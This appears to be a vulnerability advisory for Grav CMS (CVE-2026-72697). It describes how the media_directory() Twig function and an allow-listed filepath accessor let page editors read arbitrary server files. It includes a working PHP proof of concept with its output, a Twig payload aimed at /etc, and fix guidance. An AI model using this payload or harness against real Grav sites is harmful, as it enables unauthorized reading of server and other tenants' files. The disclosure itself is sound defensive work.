GHSA-47ch-6w46-6xm7 CVE-2026-72697
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.38%
- Chance of exploitation in the next 30 days. Higher than 31.64% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
2.0.16- Upgrade getgrav/grav to this version or later
Description
Summary
The media_directory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($media_dir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.
Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.
Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point media_directory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc():
public function mediaDirFunc($media_dir)
{
/** @var UniformResourceLocator $locator */
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
There is no check that $media_dir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.
system/src/Grav/Common/Page/Media.php, init(), called from the constructor:
protected function init()
{
$path = $this->getPath();
// Handle special cases where page doesn't exist in filesystem.
if (!$path || !is_dir($path)) {
return;
}
...
$iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);
foreach ($iterator as $file => $info) {
...
[$basename, $ext, $type, $extra] = $this->getFileParts($filename);
if (!in_array(strtolower((string) $ext), $media_types, true)) {
continue;
}
...
}
$path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().
system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it:
# ...
# dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is
# absent from ALLOWED_ACTIONS and stays blocked.
- class: 'Grav\Common\Page\Medium\Medium'
methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions'
filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.
media_directory in the sandbox's function allow-list:
- media_directory
Root cause
Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":
mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.- Once a
Mediumobject exists for a file outside any intended scope, the sandbox still hands page content thefilepathaccessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.
Proof of concept, verified, real output
I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.
Step 1, confirm the pinned commits used:
$ python3 -c "
import json
d = json.load(open('composer.lock'))
for name in ('rockettheme/toolbox','pimple/pimple','psr/container'):
for pkg in d['packages']:
if pkg['name'] == name:
print(name, pkg['source']['reference'])
"
rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d
pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce
psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 2, clone each at that exact commit:
$ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d
$ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce
$ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):
<?php
// media_traversal_poc.php
spl_autoload_register(function ($class) {
if (strpos($class, 'Grav\\') === 0) {
$rel = str_replace('Grav\\', '', $class);
$path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) {
$rel = str_replace('RocketTheme\\Toolbox\\', '', $class);
$parts = explode('\\', $rel);
$top = array_shift($parts);
$path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'Pimple\\') === 0) {
$rel = str_replace('Pimple\\', '', $class);
$path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
if (strpos($class, 'Psr\\Container\\') === 0) {
$rel = str_replace('Psr\\Container\\', '', $class);
$path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) { require_once $path; return; }
}
});
use Grav\Common\Grav;
use Grav\Common\Page\Media;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
// Minimal stand-ins for Config/Pages, only the specific methods the real
// Media/MediumFactory/Medium classes actually call. Everything downstream
// of these calls is the real, unmodified Grav source under test.
class FakeConfig {
private $mediaTypes;
public function __construct() {
$this->mediaTypes = array_fill_keys(
['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'],
['type' => 'file', 'mime' => 'application/octet-stream']
);
$this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg'];
$this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png'];
}
public function get($key, $default = null) {
if ($key === 'system.media.enable_media_timestamp') return false;
if ($key === 'media.types') return $this->mediaTypes;
if (strpos($key, 'media.types.') === 0) {
$ext = substr($key, strlen('media.types.'));
return $this->mediaTypes[$ext] ?? $default;
}
return $default;
}
}
class FakePages {
public function get($path) { return null; }
}
$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);
$grav = new Grav([
'locator' => function () use ($locator) { return $locator; },
'config' => function () { return new FakeConfig(); },
'pages' => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);
// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type
echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";
// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
$resolved = $locator->findResource($target);
} else {
$resolved = $target; // the vulnerable fallthrough
}
$media = new Media($resolved);
echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
echo " - $filename (" . get_class($medium) . ")\n";
// filepath is allow-listed for Medium in the real sandbox config.
echo " .filepath => " . $medium->get('filepath') . "\n";
echo " file content (read from that path):\n";
echo " \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}
Step 4, run it:
$ php media_traversal_poc.php
Actual output:
=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no
Files Media discovered in that directory:
- config-snippet.json (Grav\Common\Page\Medium\Medium)
.filepath => /tmp/outside-grav-webroot-demo/config-snippet.json
file content (read from that path):
"{"api_key":"REDACTED-EXAMPLE-abc123"}"
- secret-notes.txt (Grav\Common\Page\Medium\Medium)
.filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt
file content (read from that path):
"internal notes, not meant to be public"
random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.
This is the equivalent of a real page containing {{ media_directory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.
Impact
Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.
Suggested fix
In mediaDirFunc(), when $media_dir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded media_directory() to reach arbitrary paths.
=========================================================== CWE FIELD
CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)
Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".
=========================================================== SEVERITY FIELD
Moderate, possibly High, see note above
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| getgrav/grav | < 2.0.16 |
2.0.16 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
getgrav/grav Packagist → 2.0.16
- composer
composer require getgrav/grav:^2.0.16
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xjw5-q542-3vmr Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled | High | Also affects getgrav/grav |
| GHSA-3jhr-mxmx-38cx Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet() | Medium | Also affects getgrav/grav |
| GHSA-9ccq-2jfg-qw33 Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match | Critical | Also affects getgrav/grav |
| GHSA-38p6-h87p-r4cg Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection | Medium | Also affects getgrav/grav |
| GHSA-p597-crqc-m349 Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths | Medium | Also affects getgrav/grav |
| GHSA-jq29-c7v8-rg55 Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion | High | Also affects getgrav/grav |
| GHSA-8hgv-xc77-jmcr Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin | Medium | Also affects getgrav/grav |
| GHSA-xhfv-7758-r9hx Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin | Critical | Also affects getgrav/grav |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor